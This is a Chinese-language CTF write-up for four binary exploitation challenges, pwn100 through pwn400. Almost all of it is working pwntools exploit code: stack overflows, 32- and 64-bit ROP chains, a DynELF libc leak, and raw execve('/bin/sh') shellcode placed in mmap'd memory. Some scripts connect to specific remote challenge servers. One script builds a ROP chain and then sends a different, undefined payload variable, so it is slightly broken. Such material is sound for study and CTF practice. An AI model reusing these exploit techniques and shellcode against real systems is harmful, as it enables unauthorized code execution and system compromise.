pwn100
从来没见过这样的pwn,IDA分析一下直接就看到了flag,这是什么鬼?
但是本着初学者的心态,还是乖乖的写了exp,这个题只要覆盖地址到关键函数,输入zhimakaimen就可以看到flag。
本地调试代码如下:
from pwn import *
io=process('./pwn100')
get_flag=0x0804865D
password='zhimakaimen'
def exp():
payload='A'*111+chr(0)+p32(get_flag)
io.sendline(payload)
io.sendline(password)
io.interactive()
if __name__=='__main__':
exp()
pwn200
这个题目应该是x86下的rop的考查,IDA可以看到有system()函数,可以将‘/bin/sh’写入到bss段里获得shell
本地调试的代码如下:
from pwn import *
io=process('./pwn200')
systemplt=0x080483c0
readplt=0x080483a0
bssadd=0x0804a040
pppr=0x080485fd
def exp():
payload='A'*112+p32(readplt)+p32(pppr)+p32(0)+p32(bssadd)+p32(8)+p32(systemplt)+p32(0xdeadbeef)+p32(bssadd)
##payload+='C'*(256-len(payload))
io.sendline(payload)
io.send("/bin/sh\0")
io.interactive()
if __name__=='__main__':
exp()
pwn300
这个题目一到手分析之后就想利用DynElf去泄漏system地址,然后将/bin/sh写入bss段提shell,但是脚本最后不能运行,之后发现程序居然是静态编译成的!!!
之后学习了利用mmap函数映射内存空间将shellcode写入到里面,然后就可以提shell,具体脚本如下:
from pwn import *
#r = remote("106.75.84.74", 10001)#pwn
r = remote("118.193.194.73",10002)#pwn
#r = process("./pwn300")
mmap = 0x08052420
main = 0x08048254
read = 0x080518A0
r.recvuntil("payload:")
payload = "a"*0x70
payload += p32(mmap)
payload += p32(main)
payload += p32(0xb6ffd000)
payload += p32(0x100)
payload += p32(0x7)
payload += p32(0x22)
payload += p32(0xffffffff)
payload += p32(0)
r.sendline(payload)
r.recvuntil("payload:")
payload = "a"*0x68
payload += p32(read)
payload += p32(0xb6ffd000)
payload += p32(0)
payload += p32(0xb6ffd000)
payload += p32(0x40)
r.sendline(payload)
payload = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
r.sendline(payload)
r.interactive()
里面涉及到mmap的几个参数, 主要是prot和flags,
其值的定义在 glibc/bits/mman-linux.h 文件中:
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */
这个prot的4个参数, 根linux的权限设置差不多, 这里我把映射的地址设为 rwx , 所以其值为7
然后是flags的定义:
#define MAP_SHARED 0x01 /* Share changes. */
#define MAP_PRIVATE 0x02 /* Changes are private. */
#define MAP_FIXED 0x10 /* Interpret addr exactly. */
#ifdef __USE_MISC
# define MAP_FILE 0
# ifdef __MAP_ANONYMOUS
# define MAP_ANONYMOUS __MAP_ANONYMOUS /* Don't use a file. */
# else
# define MAP_ANONYMOUS 0x20 /* Don't use a file. */
# endif
# define MAP_ANON MAP_ANONYMOUS
flags我们需要设置 MAP_ANONYMOUS 和 MAP_PRIVATE
需要注意的是题目里面还有个小坑,
在0x08048257下个断点,此时的esp=0xffffcfd8
之后在0x0804825a下断点,此时的esp=0xffffcfd0
执行之后平白无故少了8个字节
所以v5的地址esp+1C从64变为6c,所以第一段payload是70,然而执行shellcode的时候地址最低位已经是0了,所以第二个payload是68
由于文件是静态编译的,也可以通过ROPgadget直接寻找rop链,ROPgadget –binary pwn300 –ropchain
from pwn import *
r = process("./pwn300")
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca160) # @ .data
p += pack('<I', 0x08097d94) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08079281) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca164) # @ .data + 4
p += pack('<I', 0x08097d94) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08079281) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca168) # @ .data + 8
p += pack('<I', 0x080977cf) # xor eax, eax ; ret
p += pack('<I', 0x08079281) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0805269e) # pop ebx ; ret
p += pack('<I', 0x080ca160) # @ .data
p += pack('<I', 0x0805269d) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ca168) # @ .data + 8
p += pack('<I', 0x080ca160) # padding without overwrite ebx
p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca168) # @ .data + 8
p += pack('<I', 0x080977cf) # xor eax, eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0804884d) # int 0x80
print len(p)+0x68
r.sendline(payload)
r.interactive()
pwn400
本题主要的思路就是利用DynELF泄漏system地址,然后将/bin/sh写入bss段,还有就是通过Gadget的利用
# -*-coding:utf-8-*-
from pwn import *
r = remote("23.106.148.10",20000)#pwn
#r = process("./simple")
write_plt = 0x00000000004004B0
read_plt = 0x00000000004004D0
main = 0x0000000004005F6
bss = 0x000000000600a70 + 0x100
pop_rdi_ret = 0x00000000004006c3
pop_rsi_pop_r15_ret = 0x00000000004006c1
def leak(addr):
r.recvuntil("luck!\n")
payload = "a"*0x28
payload += p64(pop_rdi_ret)
payload += p64(0x1)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(addr)
payload += p64(0x6161616161616161)
payload += p64(write_plt)
payload += p64(main)
r.sendline(payload)
data = r.recv(8)
return data
d = DynELF(leak, main, elf=ELF('./simple'))
system_addr = d.lookup('system', 'libc')
print "[*] system addr:{0}".format(hex(system_addr))
r.recvuntil("luck!\n")
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(0x0)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(bss)
payload += p64(0x6161616161616161)
payload += p64(read_plt)
payload += p64(main)
r.sendline(payload)
r.sendline("/bin/sh")
r.recvuntil("luck!\n")
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(bss)
payload += p64(system_addr)
r.sendline(payload)
r.interactive()